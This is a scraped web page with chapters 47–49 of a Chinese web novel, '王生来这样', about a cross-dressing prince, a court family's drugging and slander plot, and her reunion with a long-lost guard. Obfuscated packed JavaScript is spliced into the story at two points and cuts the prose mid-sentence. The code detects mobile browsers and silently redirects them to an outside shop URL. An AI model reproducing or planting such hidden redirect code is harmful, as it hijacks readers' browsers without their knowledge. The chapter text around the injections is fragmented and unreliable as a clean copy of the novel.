RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周围围观的将士与官员纷纷侧目,眼神里满是鄙夷。 “这就是齐王世子?太丢人了。” “技不如人还迁怒妻子,被北冥王制服了就撒泼,真是开眼了。” 祈昭居高临下看着他,眉峰微挑,语气带着几分戏谑:“齐王世子,还要闹吗?再闹,怕是连最后一点体面都留不住了。” 被踩在地上的齐元颜面尽失,彻底疯魔,红着眼嘶吼出最恶毒的诅咒: “好!好你个祈昭!你给我等着!等春猎一结束,我回府就把这贱人大卸八块,剁成肉泥喂狗!” 这话一出,周围所有人都变了脸色。 燕瑟更是浑身一颤,脸色惨白如纸。 祈昭脚下的力道微微一沉,冷笑着抬眼,那张原本清俊飒爽的脸上,此刻覆着一层让人不寒而栗的寒意,声音冷得像淬了冰: “你敢动她一根手指头,下一个被大卸八块的,就是整个齐家。” “我说到做到,你可以试试,是你的刀快,还是我的兵权快。” 她没有嘶吼,没有暴怒,只是平静地陈述一个事实。 可正是这份平静,让齐元瞬间浑身发冷—— 满朝文武谁不知道,北冥王祈昭说杀人就杀人,说抄家就抄家,从来不带犹豫。 齐元喉咙一哽,气焰瞬间矮了半截,心底的恐惧压过了愤怒,硬是不敢再放一句狠话。 他打又打不过,威胁又不敢,只能气急败坏地打滚撒泼,最后扯着嗓子尖叫: “和离!我要和离!燕瑟!我要与你解除婚约,从此一刀两断,死生不复相见!” 他以为燕瑟会哭、会求、会崩溃。 可这一次,一直隐忍柔弱的燕瑟,却在所有人惊愕的目光里,猛地抬起头,眼神亮得惊人。 她抹掉脸上的泪,挺直了早已被磋磨得疲惫不堪的脊背,声音清亮、决绝、一字一顿,响彻整个营地: “正合我意。” “齐元,你记住——不是你休我,是我燕瑟,主动与你和离!” “我燕家嫡女,就算嫁给路边赶车的车夫,嫁给街头挑担的小贩,也绝不嫁你这种狼心狗肺、薄情寡义的畜生!” 她字字泣血,却又无比清醒: “我嫁到齐王府三个月,没有一天好日子过!你打我、骂我、羞辱我、把我丢在荒林里不管死活……我受够了!” “今日起,我燕瑟,与你齐元,恩断义绝!” 一番话落下,全场死寂。 谁也没想到,这位一向温顺的齐家王妃,竟有如此刚烈的一面。 齐元彻底傻了,他本想拿和离威胁人,反倒被人将了一军,气得浑身发抖却一句话都说不出来。 祈昭缓缓收回踩在他背上的脚,居高临下地看着瘫在地上的齐元,冷面如霜: “滚。 别再让我看见你,在她面前,丢人现眼。” 47. 王生来这样·十七 春猎赛程一晃已过五日。 计分木牌上,祈昭三个字牢牢钉死在榜首,五日雷打不动,猎物数量遥遥领先,成了全场公认的最强者。 而紧随其后、死死咬在第二位的,竟是那位素来深居简出、几乎从不露面的安淮王。 没人见过他亲自狩猎,没人见过他牵马搭箭,更没人知道他究竟藏在山林哪一处,可每日日落计分,他的分数总能精准追上来——不多不少,永远只比祈昭少一分。 一分之差,次次第二,分毫不让。 所有人都替安淮王焦急,议论纷纷,说他只差一口气便能反超,说他明明有实力夺冠,偏偏每次都差那么一点点。 可安淮王本人依旧云淡风轻,不急不躁,随性得仿佛这场关乎江山封地的春猎,于他而言不过是闲来无事的消遣。 有人猜他深藏不露,有人猜他故意相让,也有人猜他根本不在乎那点赏赐。 唯有祈昭,每一日看着木牌上那只差一分的数字,眉梢微挑,心底多了几分莫名的在意。 直到第六日午后,异变突生。 她正在林间追踪一头灵鹿,腰间贴身的玉佩忽然轻轻发烫——那是她留给安安的信物,一旦安安哭闹寻她,玉佩便会有感应。 祈昭几乎没有半分犹豫,当即收箭转身,策马直奔自己的临时住所。 什么猎物,什么分数,什么榜首之争,在这一刻统统靠边站。 她回去哄好了安安,喂了点心,拍着背哄睡,确认小家伙安稳无忧后,才重新返回猎场。 可等她赶到计分处时,当日狩猎已经结束。 负责登记的官员高声唱报: “北冥王祈昭——今日猎物积分,五十分!” “安淮王——今日猎物积分,四十九分!” 依旧是一分。 依旧是祈昭第一,安淮王第二。 只是这一次,不再是安淮王追不上,而是祈昭主动放弃了大半狩猎时间,却依旧以一分之差,稳稳压住那位神秘莫测的安淮王。 全场哗然。 安淮王站在人群最边缘的阴影里,唇角微不可查地弯了一下,依旧是那副漫不经心的模样,仿佛早就料到这般结果。 祈昭望着木牌上的数字,轻轻吁了口气,没有丝毫遗憾。 榜首不榜首的,无所谓。 只要安安安稳,便比什么都强。 而不远处那道始终隐匿的身影,望着她飒爽却温柔的侧脸,眼底藏着无人知晓的深意。 一分之差,是追逐,是试探,也是——刻意的退让。 林间休息的空地上,祈昭刚擦完弓箭,就感觉一道视线黏在自己身上,甩都甩不开。 一抬眼,正是朝中林御史家的嫡女,林婉柔。 前阵子林家费尽心思想要攀附南冥王,结果撞了一鼻子灰,算盘彻底打空,转头就盯上了如今权势滔天、稳居春猎榜首的北冥王祈昭,一门心思想要把女儿塞过来,攀住这棵最粗的大树。 林婉柔也得了家里的意思,扭扭捏捏地在祈昭面前来回转悠,裙摆轻扫,眼神含羞,一会儿假装捡帕子,一会儿又说要讨教箭术,明里暗里全是想跟祈昭交好、攀关系的心思。 可祈昭是谁,油盐不进,半点不吃这套。 林婉柔含羞带怯地往前轻轻一靠,想挨得近一些。 祈昭眼皮都没抬,不动声色往后退一小步。 林婉柔咬着唇再靠近一点,声音柔得能掐出水:“王爷,风大,奴……” 话还没说完,祈昭又轻轻往后一撤,保持安全距离。 一步贴,一步退。 一步靠,一步撤。 来来回回几下,旁边偷偷看热闹的侍卫都快憋笑憋出内伤。 咱们北冥王,躲姑娘躲得像躲麻烦似的,又认真又可爱,偏偏动作还极轻,不伤人面子,却摆明了拒绝到底。 林婉柔脸都快红透了,还想再凑,祈昭干脆直接转身,去检查马具,彻底把后背对着她,半分眼神都不给。 她心里门儿清—— 林家这是攀不上南冥王,转头来啃她这块硬骨头。 可惜,她祈昭半点面子都不会给。 先不说她本就是女儿身,根本不可能与女子谈婚论嫁,就算只看身份,她身边人心意本就乱得很,萧惊渊、萧惊月、爱妃是……一个比一个难缠,哪还有空理会林家这种带着算计的攀附? 什么攀权贵、结姻亲、傍上北冥王一步登天…… 在祈昭这里,通通不好使。 林婉柔站在原地,进也不是退也不是,尴尬得脚趾抠地。 而祈昭就像什么都没发生一样,整理好箭囊,翻身上马,动作干脆利落,飒得不留一丝余地。 留给林家女的,只有一个毫不留恋、绝尘而去的背影。 夜色沉凉,林家的宴客厅里烛火摇曳。 林御史举着酒杯轮番劝酒,笑意满面,眼底却藏着再明显不过的算计。祈昭端坐主位,指尖轻叩桌面,早已将这一家子的心思看得通透——灌醉她,送女入房,生米煮成熟饭,强行绑上北冥这艘大船。 她不能公然驳了长辈颜面,只能一路小心周旋。 酒杯递来,她侧身避让;话语相劝,她含笑敷衍;实在躲不过,便指尖轻晃,酒杯“哐当”一声撞在案几上,酒液洒了满桌。 “抱歉,手滑了。” 她语气平淡,眼底却无半分歉意。 可她千算万算,没算到真正的手脚根本不在酒里,而在菜中。 那几道看似清淡的小菜里,拌了烈性迷药,入口无味,后劲却极猛,只吃了两三口,脑袋便渐渐发沉,视线开始模糊,连周身的声音都变得遥远。 她心头一紧,暗道不好。 终究还是栽了。 意识半昏半醒间,她被林家下人半扶半搀地送进了早已备好的客房。 门被轻轻合上,落锁。 房内只余下淡淡的暖香,和床榻上一道安静的人影。 祈昭浑身发软,连站都站不稳,凭着最后一点力气跌跌撞撞扑到床边,翻身便栽进了柔软的被褥里。 迷药搅得她天旋地转,根本无力分辨身边是谁,只当是林家安排好的把戏,眉心紧蹙,满是不耐。 可下一秒,熟悉的气息裹着清浅的冷香,轻轻覆了过来。 不是女儿家的甜香,是独属于谢随的、冷冽又安心的气息。 祈昭混沌的脑子猛地一空,下意识睁开眼。 床幔昏暗中,一道英挺冷锐的身影侧躺着,黑眸沉沉,一瞬不瞬望着她,目光烫得惊人。 轮廓分明,下颌利落,眉眼间是刻入骨髓的熟悉—— 是她捡回来的孤儿,是她从小到大的护卫,是她念了三年、等了三年、消失了三年的谢随。 也是…… 那个永远只听她一人命令、忠心不二、护主成痴的谢随。 更是…… 这几日春猎里,永远以一分之差屈居第二、神秘莫测的安淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261143|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王。 祈昭脑子乱成一团浆糊,迷药让她失了所有冷静,平日里绷得紧紧的理智全线崩塌,只剩下最本能的依赖与委屈。 她声音发哑,带着浓浓的睡意与茫然,喃喃开口,是连她自己都未曾察觉的软: “……谢随?” 男人喉结轻轻滚动,声音压得极低,哑得像是淬了温柔,又带着三年未见的疼惜: “王。” 这一声“王”,和三年前一模一样。 是他从小唤到大的称呼,是只属于他一个人的称呼。 祈昭眼眶一热,迷迷糊糊伸手,指尖轻轻攥住他的衣襟,像是抓住了唯一的浮木。 她根本分不清是梦是醒,只当是自己太想他,才会梦见。 “你去哪了……” “三年了……一声不吭就走……” “我还以为……你不要我了……” 她胡话连篇,语气带着小兽般的委屈,全然没有了北冥王的冷硬飒爽,只剩下最柔软的模样。 谢随的心像是被狠狠攥住,疼得发紧。 他伸手,极轻极小心地抚过她脸颊上那道还未完全消退的浅疤——是那日她坠沟、被树枝划伤的痕迹。 他指尖微颤,声音低沉又郑重: “臣从未敢忘。” “天下之大,臣只护王一人。” 祈昭眨了眨眼,泪水毫无预兆地滑落,沾湿了枕巾。 她记得,记得他从前总是沉默地跟在她身后,记得他替她挡刀、替她受罚、替她藏起所有女儿家的秘密。 记得他说过—— “我在,无人能伤王分毫。” “你骗人……”她吸了吸鼻子,像个耍赖的孩子,“你走了……你走了那么久……” 谢随俯身,轻轻将她揽进怀里,动作小心得像是捧着全世界最珍贵的宝物,力道克制又安稳。 他的声音贴着她的耳畔,低沉、郑重、一字一顿,是三年来藏在心底的所有执念: “臣去寻身世,去争权,去夺天下之力。” “臣怕王女扮男装,一朝事发,四面楚歌,无人能挡。” “臣要站在王身前,做最锋利的刀,最稳固的盾。” “这一次回来,臣再也不会走了。” 他早就知道林家的毒计。 在林婉柔被送来的半路,他便亲自拦下,打晕交给下属送回林府,半点脏污都不许沾到祈昭身边。 而他,以安淮王的身份,躺进了这张床。 他不是要算计,他只是想以最安静的方式,回到她身边。 祈昭埋在他怀里,迷药的后劲越来越重,意识渐渐沉陷,可鼻尖全是他的味道,安心到极致。 她揪着他的衣料,含糊不清地呢喃: “谢随……” “不准再走了……” “再走……我就把你抓回来……关起来……” 男人收紧手臂,将她抱得更紧,黑眸里是化不开的温柔与偏执,低声应道: “臣不走。” “天涯海角,生死不离。” “王在哪,臣就在哪。” 暖帐昏沉,呼吸相缠。 三年分离,一朝重逢。 她是高高在上的北冥王,他是隐于暗处、归来护主的安淮王,也是她最忠诚的贴身护卫。 这一夜,没有算计,没有阴谋,只有久别重逢的滚烫心意,和一句刻入骨血的—— “王,臣回来了。” 48. 王生来这样·十八 天光大亮时,暖意先一步漫过眼睑。 祈昭是在一片安稳到极致的怀抱里醒过来的,鼻间萦绕着熟悉的冷松气息,不是梦,是真实得能触碰到的温度。她缓缓睁开眼,映入眼帘的便是谢随近在咫尺的睡颜——英挺的眉峰,利落的下颌线,长睫垂落,少了平日的冷锐,多了几分难得的柔和。 三年未见,他轮廓更沉敛,身形更挺拔,却依旧是她记忆里那个被她捡回来、从小护着她长大的少年。 她心头一软,指尖不受控制地轻轻抬起,缓缓抚上他的脸颊,指腹轻轻蹭过他微凉的肌肤。 这一碰,怀中人瞬间醒了。 谢随睫毛轻颤,黑眸缓缓睁开,眼底没有半分刚醒的迷茫,只有清晰至极的温柔与专注,一瞬不瞬落在她脸上。他没有说话,只是微微偏头,极其自然地抬手,轻轻覆住了祈昭还停留在他脸颊上的手。 他的掌心温热,力道沉稳,带着不容错辨的珍视。 下一秒,他微微抬手,将她的手腕轻轻凑到唇边。 没有过分的亲昵,没有半分轻佻,只有极致的虔诚与忠心。 微凉的唇瓣,轻轻落在她的手腕内侧,落下一个轻如羽毛、却重若千钧的吻。 一触即分。 却让祈昭整个人都僵了一瞬,耳尖不受控制地微微发烫。 他抬眼,黑眸深不见底,依旧是刻入骨髓的恭敬,声音低沉沙哑,是刚醒的慵懒,却字字清晰: “王。” “臣,回来了。” 晨光透过窗棂,洒在床榻两侧,暖而不燥。 祈昭被他那一吻弄得耳尖微热,飞快地把手腕抽回,下意识往后缩了缩,却被谢随轻轻扶了一下腰侧,怕她跌下床去。动作恭敬有度,半点逾矩也无。 两人就这么静静对视了片刻,祈昭先清了清嗓子,试图找回平日北冥王的冷静。 “你……什么时候醒的?” 谢随坐直身子,背脊依旧挺直,像从前护卫在她身边时那样规矩,声音还有些晨起的低哑: “回王,臣醒了有一会儿了。见王睡得安稳,没敢惊动。” 祈昭也慢慢坐起身,拢了拢衣襟,眼神上下打量他,眉头微蹙: “三年。谢随,你一声不响消失三年,现在一出现,就是安淮王?” 谢随垂眸,语气诚恳: “是。三年前,臣意外得知自己并非普通孤儿,身上牵扯着旧部与封地。臣若一直只是个护卫,将来王出事,臣连站出来护着你的资格都没有。” 祈昭心口一紧: “谁告诉你我会出事?” “王女扮男装,身居高位,手握兵权,朝堂上多少人盯着,多少人想把你拉下来。”谢随抬眼,目光认真又坚定,“臣不想再只做一把刀。臣要做一堵墙,一道盾,在你被围攻之前,先替你挡下所有风雨。” 祈昭沉默了。 她一直以为谢随当年不告而别,是厌了、倦了,或是有了别的去处。没想到,竟是为了变强回来护她。 她别开脸,声音轻了些: “你大可跟我说一声。我以为……你再也不回来了。” 谢随看着她略显落寞的侧脸,心尖一疼,却依旧恪守分寸,没有靠近,只轻声道: “是臣考虑不周,让王担心了。这三年,臣没有一日不在想回来。只是时机未成,不敢回来见你。” “春猎那几日,积分榜上永远差我一分的,是你故意的?”祈昭忽然想起这几天的怪事。 谢随微微颔首,唇角极淡地弯了一下: “是。王本就该是第一。臣只是想离你近一点,又不敢超过你。” 祈昭愣了愣,心头莫名一暖。 她想起昨夜,林家下药、灌酒,本想把林婉柔送到她床上,最后来的却是谢随。 “昨夜……林家的事,是你动的手?” “是。”谢随坦然承认,“臣得知林御史想设计王,半路截下了林婉柔,让人把她安全送回林府,再没让她靠近这里一步。” 祈昭挑眉: “你就不怕我误会,以为你也在算计我?” 谢随猛地抬眼,眼神极重: “臣就算粉身碎骨,也绝不会算计王半分。臣只是不想让旁人用这种肮脏手段污了王的清净,更不想让王受一点委屈。” 他顿了顿,补充道: “臣昨夜守在王身边,一夜未敢深睡,只确保王安全,并无半分不敬。” 祈昭看着他一本正经解释的样子,忽然笑了一下,是这三年来少有的轻松笑意: “我知道。你谢随是什么人,我还不清楚?” 从她把那个瘦弱的孤儿捡回王府那天起,从他第一次挡在她身前开始,她就信他。 信到可以把性命、把身份、把所有软肋都摊开在他面前。 谢随见她笑,眼底也柔和下来: “王信臣就好。” 祈昭想起身下床,刚一动,头还有些轻微的昏沉——毕竟昨夜那药后劲不小。谢随立刻伸手,稳稳扶住她的手臂,力道适中,扶得稳当,却又不碰不该碰的地方。 “王慢点,药劲还没完全散。” “我没事。”祈昭站稳,看向他,“谢随,你现在是安淮王,身份不同了,不必再对我行这么大的礼,也不用一口一个‘王’。” 谢随却轻轻摇头,语气坚定: “身份可以变,称呼可以变,但臣对王的心,永远不变。无论臣是安淮王,还是只是谢随,都是王的人。” 祈昭心头一颤,别过脸掩饰情绪: “谁是你王……以后在没人的时候,不必这么拘谨。” “是,王。”他依旧恭敬应下。 祈昭无奈地看他一眼: “三年不见,你倒是更固执了。” 谢随微微低头,唇角藏着一丝浅淡的笑意: “只对王固执。” 两人相视一眼,多年默契无需多言。 三年分离的隔阂,在这几句对话里,渐渐烟消云散。 祈昭整理好衣袍,看向他: “林家那边,你打算怎么处理?竟敢给我下药,这笔账不能就这么算了。” 谢随立刻正色: “臣已经安排妥当。林御史谋私算计、意图构陷王族,证据已经备好。春猎结束后,臣会亲自上奏,保他再不能算计王分毫。” 祈昭点头: “有你在,倒是省了不少事。” 谢随抬眸,目光温柔而郑重: “臣的本分,就是替王分忧,护王周全。” 祈昭走到窗边,推开窗,清晨的风拂进来。 她回头看向依旧站在床前、身姿挺拔的谢随,轻声道: “谢随,欢迎回来。” 谢随浑身一震,抬头望向她,眼底是压抑不住的动容与滚烫。 他单膝跪地,行了一个最标准、最郑重的礼,声音沉稳有力: “臣,谢随,此生此世,永不离王左右。 刀山火海,万死不辞。” 祈昭看着跪在地上的人,嘴角轻轻扬起。 她知道,从今天起,她不再是一个人扛着北冥王的身份。 她的刀,她的盾,她最信任的人,终于回来了。 往后的路,有人与她并肩同行。 春猎最后一日的校场人头攒动,颁奖大典尚未开始,林家一行人忽然披头散发冲入场中,拦在祈昭面前哭天抢地。 林御史夫人直接瘫坐在地上,拍着大腿哀嚎,声音尖利得刺破全场。 “北冥王!你好狠的心啊!” “你身为堂堂王爷,行事竟如此龌龊!昨夜你醉酒留宿,毁了我女儿婉柔的清白身子,如今酒醒便翻脸不认人,你这是要逼死我们林家满门啊!” 林御史也红着眼睛上前,一副悲愤欲绝的模样: “祈昭!本臣敬你是北冥王,手握兵权为国效力,可你怎能做出这等强占民女、始乱终弃的勾当!今日你若不给我林家一个交代,老夫便是拼了这条老命,也要向陛下讨个公道!” 林婉柔躲在丫鬟身后,垂着头故作柔弱委屈,眼眶红红,看上去我见犹怜。 周围围观的贵族、将领、世家子弟瞬间炸开了锅,议论声此起彼伏。 “不会吧?北冥王是这种人?” “看林大人这样子不像是装的……” “昨夜北冥王确实去了林家的宴席,回来时步履虚浮,像是醉了……” 流言蜚语如潮水般涌来,可祈昭只是负手立在原地,面色冷然,连一丝慌乱都没有。 她抬眼,目光淡淡扫过林家众人,语气凉薄如冰。 “林大人,说话要讲证据。空口白牙污人清白,你以为,这春猎校场是你林家撒泼打滚的地方?” 林夫人立刻尖声喊: “证据?我女儿的清白就是证据!你昨夜明明与我女儿共处一室,整整一夜!如今你想赖账?天底下没有这么便宜的事!” “共处一室?” 祈昭还未开口,一道低沉冷冽的声音自人群后方缓缓传来。 谢随缓步走出,一身安淮王蟒袍加身,身姿英挺冷锐,气场慑人。 他径直走到祈昭身侧站定,目光落在林家众人身上,带着毫不掩饰的讥讽。 “林大人,林夫人,你们确定……昨夜与北冥王共处一室的,是林婉柔?” 林御史心头一跳,强装镇定: “安淮王,此事与你无关!你少在这里挑拨离间!” “无关?”谢随轻笑一声,抬手从袖中取出一卷被烧得残缺一角的信纸,高高举起,“那这东西,你认识吗?” 信纸一展开,林家众人脸色瞬间惨白! 那正是昨夜林家下人暗中传递、自以为烧毁干净的密谋信——上面清清楚楚写着如何下药、如何送女入房、如何事后要挟北冥王负责联姻! 林御史惊得后退一步: “你、你从哪里拿到的?!” “你家下人纵火毁信,不巧,风一吹,落在了草丛里,被本王捡了个正着。” 谢随声音不大,却清晰传遍全场,“上面写得明明白白,下药、设计、栽赃、逼婚,桩桩件件,都是你们林家一手策划。” 人群哗然! 真相瞬间反转。 可林家早已破罐子破摔,林夫人干脆撒泼打滚,死不认账: “假的!这是伪造的!是你们故意陷害我们林家!安淮王你与北冥王勾结一气,欺负我们孤女弱母!” “没有真凭实据,一封信算什么!我不信!天下人都不会信!” 她咬死了不认,妄图用无赖搅浑水。 就在此时,人群忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“饶命!天道饶命!” “我们错了!我们撒谎!是我们算计北冥王!” “求放过!我们再也不敢了!求不要判死!” 刚才还嚣张跋扈、撒泼耍赖的一家人,此刻吓得涕泪横流,屁滚尿流。 他们是真的怕——天道天秤,从不说谎,更不饶人。 云辞淡淡收回灵气,天秤缓缓消散: “既已认罪,天道便不再追究。但人间法度,自有王爷处置。” 全场寂静,随即爆发出雷鸣般的议论。 林家算计王爷、下药栽赃,铁证如山,天道都判了罪,再无翻身可能。 祈昭冷眼看着林家狼狈不堪的模样,眼底没有半分怜悯。 就在此时,一道玄色身影快步穿过人群,气息微急,径直走到她身侧。 是萧惊渊。 他刚与千洦宗长老商议完盟契,一听说校场有人闹事针对祈昭,立刻甩开众人赶来。 他先看了一眼跪地求饶的林家,眉头紧锁,周身戾气骤现,随即转头看向祈昭,语气里满是急切与关切。 “祈昭,你没事吧?有没有受伤?” “他们有没有对你做什么?昨夜的事,我一听说便知是阴谋,你不必理会这群跳梁小丑。” 见祈昭安然无恙,萧惊渊才松了口气,转而看向林家,眼神冷得像刀: “林御史,你好大的胆子。算计王族,栽赃陷害,触犯王法,依律当诛九族。” 林家众人吓得魂都飞了,连连磕头求饶。 谢随站在祈昭另一侧,不动不动地将她护在身后,与萧惊渊一左一右,气场慑人。 一个是手握兵权、忠心不二的安淮王, 一个是权势滔天、向来护短的先帝 此刻竟出奇一致地——护着祈昭。 祈昭看着眼前一幕,唇角微不可查地勾起一抹冷峭。 她抬眼,声音清亮,传遍全场: “林家蓄意下药,构陷王族,扰乱春猎大典,罪证确凿。” “即日起,削去林御史官职,打入天牢,待春猎结束,交由陛下亲审。” “林婉柔德行有亏,闭门思过,永世不得婚嫁。” “林家所有家产,抄没一半,充入国库,以儆效尤。” 一字一句,威严尽显。 林家众人面如死灰,瘫在地上,再也无力反抗。 围观人群纷纷躬身行礼,声音整齐划一: “北冥王英明!” 云辞站在不远处,浅粉色的眼眸望着祈昭的身影,眼底盛满了敬佩与温柔。 谢随侧头,深深看了一眼祈昭,黑眸里是化不开的忠诚与安心。 萧惊渊站在她身侧,微微扬眉,语气带着几分纵容: “早说过,有我在,没人能欺负你。” 祈昭抬眸,望向辽阔的校场与万里晴空。 风波平息,奸人伏法。 她的身边,有护她三年归来的谢随,有为她以天道判案的云辞,有始终为她撑腰的萧惊渊。 女扮男装的路再难走, 从今往后,她也不再是孤身一人。 49. 王生来这样·十九 校场的风波刚落,萧惊渊站在原地,目光骤然一凝,死死盯住祈昭身侧那位一身蟒袍、气场沉冷的男子。 眉眼英挺,轮廓冷锐,那身形、那眼神、那股子只围着祈昭转的护主劲儿…… 萧惊渊瞳孔微缩,倒吸一口凉气,伸手猛地一指,声音都拔高了几分,带着难以置信的震惊。 “你……你是谢随?!” 谢随淡淡抬眸,对着这位当今圣上微微颔首,礼数周全,却没半分卑微:“陛下好眼力。” “好个屁!”萧惊渊当场破了点皇帝威仪,几步上前上下打量他,“三年前一声不吭消失得无影无踪,本帝都以为你死在外面了!结果你一冒出来,直接成了安淮王?!” 他越想越离谱,伸手揉了揉眉心,语气酸溜溜又不敢置信: “跟本帝平起平坐?你一个当年跟在祈昭屁股后面的小护卫,现在封王拜相了?!” 谢随面不改色,语气平静却暗藏锋芒:“托陛下的福,臣寻回了身世,受封安淮。但无论身份如何,臣依旧是王的人。” 他刻意加重“王”字,明晃晃宣示主权——我只认祈昭。 萧惊渊脸色一沉,当即不爽:“谢随,你别太过分,如今我是君,你是臣!” “臣谨记在心。”谢随微微垂眸,可周身气势半点不弱,“只是臣的忠心,从来只给王。” 祈昭站在中间,看着这两人一见面就火药味冲天,太阳穴突突直跳。 一个是当今皇帝,一个是刚回来的安淮王,再加一个随时会冒出来报恩的云辞…… 她只觉得头大如斗。 “够了。” 祈昭冷冷开口,直接打断两人的斗嘴。 “要吵回你们自己府上吵,别在我面前碍眼。” 萧惊渊立刻收了戾气,换上一副温和模样:“朕不吵,朕陪你回住处。” 谢随也立刻跟上,半步不离:“臣护送王。” 于是,画风诡异的一幕出现了—— 当今圣上萧惊渊在左,安淮王谢随在右,一左一右把祈昭护在中间,朝着北冥王临时休息的客院走去。 沿途侍卫宫人看得目瞪口呆,大气都不敢喘。 一进院落,安安还在屋里熟睡,祈昭便让下人守在门外,不许打扰。 三人在堂内落座,气氛瞬间又紧绷起来。 萧惊渊端起茶杯,慢悠悠瞥了谢随一眼:“说吧,这三年去哪了?真只是寻身世?” 谢随抬眸,目光坦荡:“是。也为了变强,护王周全。” “护她?”萧惊渊嗤笑一声,“有朕在,谁敢动她?” “陛下日理万机,未必能时时守在王身边。”谢随不卑不亢,“臣可以。” “你——” “停!” 祈昭“啪”地放下茶杯,再次强势打断, “再吵一句,全都给我滚出去。” 两人瞬间噤声,乖乖坐好,一个比一个听话。 祈昭看着这俩别扭的样子,无奈叹了口气,索性转移话题,说起了前几日自己遇险的事。 “对了,前几日我去寻齐家王妃丢失的发簪,在后山遇上了件怪事,至今想起来还心有余悸。” 萧惊渊立刻紧张:“遇险?伤着没有?!” 谢随更是瞬间坐直身体,黑眸紧绷:“王在哪遇的险?可有受伤?” 祈昭摆了摆手,示意自己没事,随即绘声绘色讲起了那段又惊险又搞笑的经历。 “我在灌木丛捡到发簪,结果脚下一空,直接掉进了一个地洞里。那洞不深,我爬起来一看——好家伙,一条通体漆黑的千年灵蛇,比人腰还粗,盘在那儿,头顶还带金纹,一看就是成了精的。” 萧惊渊眉头紧锁:“灵蛇?有没有伤你?” 谢随指尖已经暗暗攥紧,周身泛起冷意,仿佛那条蛇此刻就在眼前。 祈昭继续说,语气里还带着点后怕: “我当时还没怕,甚至想着……反正没主,要不抓回来当灵宠。结果你们猜怎么着?那蛇直接化成人形了!” “什么?!” 萧惊渊和谢随异口同声惊呼,满脸震惊。 “是个少年模样,长得倒是好看,可浑身是伤,遍体鳞伤,看着可怜。我心一软,就撕了衣服给他包扎,还上了金疮药。” 祈昭说到这儿,自己都觉得离谱,忍不住扶额, “结果我准备爬走的时候,他直接伸蛇尾缠住了我的脚踝!” 谢随脸色瞬间铁青:“他敢碰王!” 萧惊渊也拍了下桌子:“反了他了!蛇妖竟敢放肆!” 祈昭看着两人激动的样子,忍不住笑出声,继续讲: “我当时吓得魂都飞了,长这么大第一次那么狼狈!他就睁着一双金色竖瞳问我名字,我脑子一空,直接报了‘祈昭’,然后他一松尾巴,我连滚带爬逃出来的,脸还被树枝划了一道小疤。” 她指了指自己脸颊上那道几乎淡得看不见的浅痕。 谢随看着那道浅疤,心尖狠狠一疼,声音都哑了几分:“王日后再不可独自涉险。” 萧惊渊也沉下脸:“朕立刻派人去搜那座山,把那蛇妖抓来,敢伤你,朕诛他灵脉!” “别别别!”祈昭连忙摆手,“人家又没伤我,还虚弱得很,就是受了重伤躲在洞里而已。我就是觉得离奇,说给你们听听。” 萧惊渊依旧不爽:“那也不行,敢缠你,就是居心叵测。” 谢随也冷声道:“若再让臣遇见他,臣必护在王” 如今,萧惊渊成了护着她的皇帝,谢随成了实力强悍的安淮王,还有那个被她救过、誓言赴汤蹈火的云辞。 她女扮男装,顶着北冥王的身份走了这么多年,第一次觉得,这条路好像没那么孤单了。 萧惊渊看着祈昭眼底淡淡的笑意,心头微动,放缓了语气:“以后不管去哪,都带上人,不许再独自乱跑。” 谢随也立刻接话:“臣从今往后,寸步不离王左右。” 祈昭抬眼,扫了两人一眼,故作冷淡地扬了扬下巴: “知道了。都安分点,别再斗嘴。” 堂内的气氛,终于从剑拔弩张,变成了安稳又微妙的平和。 窗外阳光正好,屋内三人对坐,旧识重逢,风波渐平,一切都朝着最安稳的方向 送走了萧惊渊和谢随这两位一见面就掐的“大神”,祈昭总算落了个清静。她坐在椅上歇了片刻,脑海里又浮现出地洞里那条化形的黑鳞灵蛇,心头始终有些好奇。 想来想去,千洦宗弟子最懂灵怪异兽,云辞恰好就在此处,不去问他实在可惜。 稍作整理后,祈昭便独自往千洦宗弟子的偏院走去。 午后的阳光透过枝叶洒下,暖得恰到好处。她刚走到云辞独居的那间小木屋外,便看见少年正坐在石阶上,低头擦拭着一柄朴素的木剑。 青绿色的发丝垂落在颊边,衬得那截下颌线愈发白皙,浅粉色的眼眸垂着,长睫轻颤,安静得像一朵被风轻轻按住的云。 听见脚步声,云辞猛地抬头,一见是祈昭,眼睛瞬间亮了起来,立刻起身行礼,动作又快又恭敬,声音清润得像山涧泉水: “北冥王!” “您怎么来了?” 祈昭被他这一声又软又乖的“北冥王”叫得心头微松,摆手示意他不必多礼,径直在他对面的石阶上坐下。 “今日在校场,多谢你出手相助。” 云辞脸颊微微一红,连忙摇头:“弟子不过是略尽绵薄之力,王爷上次救我于危难,这点小事不足挂齿。” 祈昭看着他乖巧温顺的模样,忽然想起白天那震慑全场的天道天秤,忍不住弯了弯唇角,直接开口问道: “对了,我问你一件事——你那天命天秤,当真能判真假、定生死?” 云辞原本还端正坐着,一听这话,耳尖“唰”地一下红透了,眼神微微躲闪,手指不安地攥了攥衣摆,一副被戳穿小把戏的窘迫模样。 他抿了抿唇,声音放得又轻又软,带着点不好意思: “王爷……其实、其实那是吓唬他们的。” 祈昭微怔:“吓唬?” “嗯……”云辞点点头,浅粉色的眼眸垂着,小声解释,“天命遗谱的确有天秤术,但我修为尚浅,根本练不到能引动天道的地步。我只是借着千洦宗的名头,凝出一点灵光仿出天秤的样子,再用气势压人。” 他越说越小声,像个做错事的孩子: “林家的人本来就心虚,一听说天道反噬会死人,当场就怕了……我、我就是想帮王爷解围。” 祈昭愣了片刻,随即忍不住低笑出声。 